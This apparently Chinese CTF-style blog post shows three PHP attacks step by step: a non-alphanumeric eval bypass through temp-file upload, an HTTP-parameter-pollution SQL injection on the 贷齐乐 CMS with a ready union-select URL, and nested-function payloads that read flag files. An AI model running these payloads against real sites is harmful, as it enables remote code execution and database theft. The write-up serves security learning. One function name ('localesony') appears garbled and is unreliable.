RCE多种绕过技巧+贷齐乐漏洞复现

文章目录

1、RCE绕过

bash 复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

主要就是绕过该代码

首先,我们来解析一下这个代码的重点:

1、首先是第一点

bash 复制代码
 if(strlen($code)>35

他限制了代码的长度,不能超过35个字节,但是这个无关紧要,下面这个才是最重要的

2、第二点

bash 复制代码
if(preg_match("/[A-Za-z0-9_$]+/",$code)){

他过滤了所有的字母和数字,也就是说,不能输入如何字母/数字------即只是输入字符,?????这限制的有些变态,不输入字母,数字我怎么查询

那么接下来就要说说我们的RCE绕过了

我们可以通过临时文件的方法去绕过该过滤

首先创建一个HTML文件,如下:

这里的index.php是上面代码的文件名,该HTML文件和index.php在同一目录下(该目录是nginx底下的html目录)

写好文件后,那么后面就简单了,我们在页面中打开这个HTML文件,传入一个自定义的txt文件内容是:

bash 复制代码
#! bin bash

id

然后抓包:

主要是两个包

这个是HTML传送时抓的包

这个是index.php代码页面的包,是GET的

抓到这两个包后都放入重放器

接下来就是个人操作时间了

将POST里面的内容该复制的复制,然后都贴贴到GET的包中,然后将GET改为POST,具体布局如下:

然后就是最重要的一点,就是看我最上面的红框,写入绕过代码:

bash 复制代码
?code=?><?=`.+/???/????????[@-[]`;?>

这个代码在burp中可以这样写,但是在页面的搜索框中输入的话,要将其编码

转换成编码应该是这个:

bash 复制代码
3F%3E%3C%3F%3D%60%2E%2B%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E

然后发送运行就行,但是我这个不知道是什么问题,就是显示不出来看,研究了好久,按理来说会向下面一样跳出flag

经过排查,最终还是解决了这个问题:

我查看了/tmp文件

php 复制代码
cd /tmp

原来是他自动匹配到了其他文件,我将其删除后,就成功了

2、贷齐乐的漏洞复现

php 复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

主要是这个的过滤

php 复制代码
preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);

他将"select"和"union"和"outfile"等,刚看的话有点束手无措的感觉(到底是谁把这个程序员入侵得都急眼了,直接把能想到的过滤都加上了)

但是细想的话,还是可以绕过的

可以使用全局污染:php默认先选择后面的参数,但是这也不够,因为我们是想要第一次选择后面的参数,绕过这个过滤进入内部,然后第二次选择第一个参数,覆盖第二个参数,让第一个参数携带查询代码,进行入侵

然后我想到,可以使用".",在request()会将 "." 变为 "__" ,但是server()不会,所以可以进行前面说的绕过

"." 在搜索框输入后,php的request()会将 "." 变为 "__" :即 "i.d"------>"i_d",php会选择将"i.d"的值输入,但是到第二次时,server()不会将"."变为 "_","." 就是 "." ,下划线就是下划线,如果前面有"i_d",那么会选择前面"i_d"的值。

后续的绕过就比较简单了,空格用"/**/"来代替,"="用"like"代替,还有单双引号的过滤,可以将内容进行16进制转换,然后一个一个查询就行了,查询出库名表名和列名,基本上就能把你想要的数据查询到了,上图就是一个普通绕过的展示。

bash 复制代码
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1 

这个是查询数据库的代码,后续查找用户等都可以以这个为例

3、函数绕过

php 复制代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
    eval($_GET['code']);
}
?>

可以利用函数套函数的方式查询到下面的数据

php 复制代码
print_r(scandir(current(localesony());成功打印出当前目录下文件:

pos()和reset()都有相同的效果

利用抓包,然后添加如下代码:

成功找到了flag.txt文件

利用以下函数,随机选取,使文件都可以访问到,不用说在中间无法访问,但是需要多长刷,直到刷到flag.txt文件为止。

php 复制代码
array_rand(array_flip())

具体查询代码

php 复制代码
?code=show_source(array_rand(array_flip(scandir(getcwd()))));
相关推荐
GEEKVIP10 分钟前
Android 恢复挑战和解决方案:如何从 Android 设备恢复删除的文件
android·笔记·安全·macos·智能手机·电脑·笔记本电脑
草莓屁屁我不吃1 小时前
Siri因ChatGPT-4o升级:我们的个人信息还安全吗?
人工智能·安全·chatgpt·chatgpt-4o
衍生星球5 小时前
【网络安全】对称密码体制
网络·安全·网络安全·密码学·对称密码
掘根5 小时前
【网络】高级IO——poll版本TCP服务器
网络·数据库·sql·网络协议·tcp/ip·mysql·网络安全
xuehaishijue6 小时前
头部检测系统源码分享
安全
nbsaas-boot6 小时前
微服务之间的安全通信
安全·微服务·架构
CaritoB6 小时前
非结构化数据中台架构设计最佳实践
安全
网安加社区7 小时前
国家网络安全宣传周 | 2024年网络安全领域重大政策法规一览
安全·网络安全·政策法规
Wrop7 小时前
网络安全实训八(y0usef靶机渗透实例)
安全·web安全